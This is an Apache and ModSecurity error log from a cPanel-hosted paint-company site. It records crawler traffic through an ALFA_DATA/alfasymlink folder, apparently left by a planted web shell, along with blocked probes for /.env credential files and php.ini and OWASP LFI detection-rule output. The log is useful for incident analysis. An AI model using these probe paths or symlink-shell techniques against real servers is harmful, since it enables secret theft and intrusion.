[Tue Oct 27 04:31:26.329241 2026] [security2:error] [pid 3201653:tid 3201653] [client 23.21.175.228:63613] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:04.0/subsystem/slots/3/"] [unique_id "auBhXvNweTK95FG6k4657wAAABQ"]
[Tue Oct 27 04:31:26.329288 2026] [security2:error] [pid 3201653:tid 3201653] [client 23.21.175.228:63613] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:04.0/subsystem/slots/3/"] [unique_id "auBhXvNweTK95FG6k4657wAAABQ"]
[Tue Oct 27 04:31:30.496421 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.208.193.63:15038] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:31:34.472979 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 107.20.255.194:11083] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory8/node0/memory3/node0/memory23/subsystem/uevent
[Tue Oct 27 04:31:38.392490 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.23.112.144:35459] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:31:40.070020 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 85.208.96.195:19556] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:31:40.102960 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 85.208.96.195:19560] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:31:46.267432 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 54.156.124.2:43204] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:31:50.271440 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.90.73.206:37085] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:32:30.231592 2026] [ssl:error] [pid 3201646:tid 3201646] (5)Input/output error: [client 54.157.84.74:53993] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:32:34.342876 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 52.2.191.202:23745] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:32:43.584086 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 185.191.171.8:57716] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/slab_size
[Tue Oct 27 04:32:50.311991 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 34.234.197.175:56799] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:01.3/subsystem/drivers_probe
[Tue Oct 27 04:32:52.197631 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 185.191.171.8:57278] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/partial
[Tue Oct 27 04:32:56.345563 2026] [security2:error] [pid 3201647:tid 3201647] [client 130.12.180.164:49758] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBhuJVvqGtwGAy54pYNvQAAAA0"]
[Tue Oct 27 04:32:56.345799 2026] [security2:error] [pid 3201647:tid 3201647] [client 130.12.180.164:49758] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBhuJVvqGtwGAy54pYNvQAAAA0"]
[Tue Oct 27 04:32:56.346102 2026] [security2:error] [pid 3201647:tid 3201647] [client 130.12.180.164:49758] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg2.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBhuJVvqGtwGAy54pYNvQAAAA0"]
[Tue Oct 27 04:32:56.416205 2026] [security2:error] [pid 3201645:tid 3201645] [client 130.12.180.176:20764] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBhuJKov8XCMSQ3KFeUHwAAAAs"]
[Tue Oct 27 04:32:56.416463 2026] [security2:error] [pid 3201645:tid 3201645] [client 130.12.180.176:20764] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBhuJKov8XCMSQ3KFeUHwAAAAs"]
[Tue Oct 27 04:32:56.416761 2026] [security2:error] [pid 3201645:tid 3201645] [client 130.12.180.176:20764] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBhuJKov8XCMSQ3KFeUHwAAAAs"]
[Tue Oct 27 04:32:56.416809 2026] [security2:error] [pid 3201645:tid 3201645] [client 130.12.180.176:20764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBhuJKov8XCMSQ3KFeUHwAAAAs"]
[Tue Oct 27 04:32:56.416826 2026] [security2:error] [pid 3201645:tid 3201645] [client 130.12.180.176:20764] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBhuJKov8XCMSQ3KFeUHwAAAAs"]
[Tue Oct 27 04:32:58.581590 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.211.39.188:33909] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:33:06.345215 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 107.20.255.194:21674] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:33:09.360810 2026] [core:error] [pid 3201655:tid 3201655] (13)Permission denied: [client 85.208.96.199:26160] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip4-frags/objects_partial
[Tue Oct 27 04:33:22.208008 2026] [core:error] [pid 3201645:tid 3201645] (13)Permission denied: [client 18.209.137.234:63678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/device:03/physical_node/driver/0000:00:02.0/graphics/fb0/device/subsystem/slots/15/module/uevent
[Tue Oct 27 04:33:26.226237 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 23.21.179.120:53137] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:33:30.231041 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 23.23.213.182:9729] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:33:34.196942 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 98.82.107.102:1535] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:33:38.291912 2026] [ssl:error] [pid 3201655:tid 3201655] (5)Input/output error: [client 34.238.45.183:52947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:33:42.045966 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 185.191.171.9:56012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_allocation_context/aliases
[Tue Oct 27 04:34:01.913568 2026] [core:error] [pid 3201653:tid 3201653] (13)Permission denied: [client 85.208.96.208:45578] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bfq_queue/red_zone
[Tue Oct 27 04:34:10.192962 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 18.235.81.246:5149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:34:18.909840 2026] [security2:error] [pid 3175284:tid 3175284] [client 43.166.136.202:60502] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auBiCkQFomyjz0g-y4eOHAAAAAo"]
[Tue Oct 27 04:34:18.911044 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 43.166.136.202:60502] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 04:34:30.206774 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 98.84.131.195:31889] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:34:34.190575 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 54.167.32.123:3315] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/0000:00:04.0/firmware_node/physical_node/driver/0000:00:03.0/resource0
[Tue Oct 27 04:34:38.221509 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 3.94.40.182:42511] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:34:42.296775 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 54.167.32.123:10449] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:34:46.233087 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 3.216.86.144:34158] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:34:54.208823 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 23.23.137.202:43316] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:34:58.218445 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 52.204.89.12:31404] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:35:06.216262 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 52.3.26.180:12957] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/cpu1/driver/cpu0/node0/memory21/subsystem/uevent
[Tue Oct 27 04:35:10.232462 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 98.83.177.42:58764] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:35:26.314509 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 100.28.118.16:42981] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:35:38.206931 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 52.6.5.24:33641] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:35:42.346685 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 18.207.89.138:19150] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:35:50.435268 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.83.56.1:6023] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:35:50.435458 2026] [security2:error] [pid 3175284:tid 3175284] [client 54.83.56.1:6023] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/node0/memory1/uevent"] [unique_id "auBiZkQFomyjz0g-y4eOHwAAAAo"]
[Tue Oct 27 04:35:50.435480 2026] [security2:error] [pid 3175284:tid 3175284] [client 54.83.56.1:6023] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory9/node0/memory1/uevent"] [unique_id "auBiZkQFomyjz0g-y4eOHwAAAAo"]
[Tue Oct 27 04:36:02.351136 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 34.238.45.183:22276] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:36:06.343913 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 34.236.41.241:25319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:36:09.301576 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 185.191.171.9:14540] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/TCP/validate
[Tue Oct 27 04:36:14.200391 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 98.83.8.142:55098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:36:22.215625 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 18.213.27.222:7279] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:36:26.371089 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 18.211.148.239:37559] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:36:34.257232 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.234.197.175:33554] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:36:38.209633 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 44.206.93.215:1851] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:36:42.179091 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 35.171.117.160:61553] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:36:54.201859 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 44.217.177.142:29847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:02.229409 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 44.206.93.215:14601] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:06.325532 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 44.215.231.15:5179] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:14.200869 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 52.1.106.130:57868] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:16.959261 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 185.191.171.8:10446] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/pci/devices/0000:00:01.1/resource3
[Tue Oct 27 04:37:18.196261 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 18.213.102.186:25419] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:22.355587 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.152.163.42:10399] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:22.721284 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 85.208.96.201:33322] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:22.755856 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 85.208.96.201:33336] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:38.206592 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 52.207.47.227:12603] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:38.206844 2026] [security2:error] [pid 3201655:tid 3201655] [client 52.207.47.227:12603] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory13/online"] [unique_id "auBi0mBUeABT7S80KTVE8AAAABY"]
[Tue Oct 27 04:37:38.206872 2026] [security2:error] [pid 3201655:tid 3201655] [client 52.207.47.227:12603] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/ACPI0010:00/LNXCPU:00/physical_node/node0/memory13/online"] [unique_id "auBi0mBUeABT7S80KTVE8AAAABY"]
[Tue Oct 27 04:37:46.198306 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 44.213.202.136:26726] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:54.397335 2026] [ssl:error] [pid 3201645:tid 3201645] (70014)End of file found: [client 18.205.91.101:61284] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:37:58.194596 2026] [core:error] [pid 3175284:tid 3175284] (13)Permission denied: [client 44.210.204.255:61301] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/PNP0B00:00/physical_node/driver/uevent
[Tue Oct 27 04:38:02.446876 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 34.235.239.240:15795] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:38:06.375338 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 107.20.255.194:19946] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:38:10.323444 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 44.221.105.234:52889] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:38:14.182924 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.204.62.163:20256] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:38:22.197994 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 18.205.91.101:58856] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:38:23.005260 2026] [security2:error] [pid 3201656:tid 3201656] [client 64.20.54.226:43158] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/.well-known/acme-challenge/8G5220PDGAK18Q_O679QQEQI3ED-BCQ-"] [unique_id "auBi_0mqTSs7laY6jMThigAAABc"]
[Tue Oct 27 04:38:23.005338 2026] [security2:error] [pid 3201656:tid 3201656] [client 64.20.54.226:43158] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/.well-known/acme-challenge/8G5220PDGAK18Q_O679QQEQI3ED-BCQ-"] [unique_id "auBi_0mqTSs7laY6jMThigAAABc"]
[Tue Oct 27 04:38:38.307450 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 23.23.180.225:22076] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:38:54.209603 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.197.82.195:10151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:39:02.381730 2026] [core:error] [pid 3201648:tid 3201648] (13)Permission denied: [client 3.89.176.255:25037] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory4/node0/memory0/node0/memory14/subsystem/drivers_probe
[Tue Oct 27 04:39:10.193399 2026] [ssl:error] [pid 3201655:tid 3201655] (5)Input/output error: [client 18.215.112.101:65184] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:39:14.190590 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.3.104.214:47760] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:39:34.382369 2026] [ssl:error] [pid 3201647:tid 3201647] (5)Input/output error: [client 18.210.58.238:33132] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:39:38.282028 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 107.23.62.75:15319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:39:42.172641 2026] [security2:error] [pid 3201653:tid 3201653] [client 23.23.214.190:57947] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/ata1/link1/ata_link/"] [unique_id "auBjTvNweTK95FG6k466BwAAABQ"]
[Tue Oct 27 04:39:42.172703 2026] [security2:error] [pid 3201653:tid 3201653] [client 23.23.214.190:57947] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/0000:00:02.0/firmware_node/physical_node/subsystem/devices/0000:00:01.1/ata1/link1/ata_link/"] [unique_id "auBjTvNweTK95FG6k466BwAAABQ"]
[Tue Oct 27 04:39:46.177073 2026] [ssl:error] [pid 3201655:tid 3201655] (70014)End of file found: [client 34.205.163.103:44826] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:39:54.164927 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 44.215.61.66:42879] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/node0/memory7/subsystem/drivers_probe
[Tue Oct 27 04:40:02.200859 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 54.159.18.27:10760] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:40:10.183751 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 52.54.249.218:11804] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory15/node0/memory7/node0/memory9/subsystem/drivers_probe
[Tue Oct 27 04:40:20.796470 2026] [authz_core:error] [pid 3201645:tid 3201645] [client 195.178.110.53:4228] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 04:40:20.818023 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 195.178.110.53:4244] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 04:40:22.199095 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 54.209.100.30:35978] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:40:22.853702 2026] [authz_core:error] [pid 3201645:tid 3201645] [client 195.178.110.53:4228] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 04:40:23.940376 2026] [authz_core:error] [pid 3175284:tid 3175284] [client 195.178.110.53:4244] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 04:40:26.774754 2026] [authz_core:error] [pid 3201653:tid 3201653] [client 195.178.110.53:11264] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 04:40:26.775205 2026] [security2:error] [pid 3201653:tid 3201653] [client 195.178.110.53:11264] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/"] [unique_id "auBjevNweTK95FG6k466CQAAABQ"]
[Tue Oct 27 04:40:26.775236 2026] [security2:error] [pid 3201653:tid 3201653] [client 195.178.110.53:11264] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "arg1.sherwinpinturas.com"] [uri "/"] [unique_id "auBjevNweTK95FG6k466CQAAABQ"]
[Tue Oct 27 04:40:27.162961 2026] [authz_core:error] [pid 3201655:tid 3201655] [client 195.178.110.53:11274] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 04:40:28.534743 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 185.191.171.15:28174] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:40:31.791885 2026] [authz_core:error] [pid 3201653:tid 3201653] [client 195.178.110.53:11264] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg1/php.ini
[Tue Oct 27 04:40:32.107671 2026] [authz_core:error] [pid 3201655:tid 3201655] [client 195.178.110.53:11274] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/arg2/php.ini
[Tue Oct 27 04:40:40.115667 2026] [core:error] [pid 3201647:tid 3201647] (13)Permission denied: [client 85.208.96.206:38640] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/eventpoll_pwq/shrink
[Tue Oct 27 04:40:54.254957 2026] [ssl:error] [pid 3201653:tid 3201653] (70014)End of file found: [client 107.20.181.148:50224] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:41:10.198872 2026] [ssl:error] [pid 3201648:tid 3201648] (70014)End of file found: [client 54.235.172.108:46675] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 04:41:19.283288 2026] [security2:error] [pid 3175284:tid 3175284] [client 185.191.171.6:63044] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/squirrel/upgrade.php"] [unique_id "auBjr0QFomyjz0g-y4eORwAAAAo"]
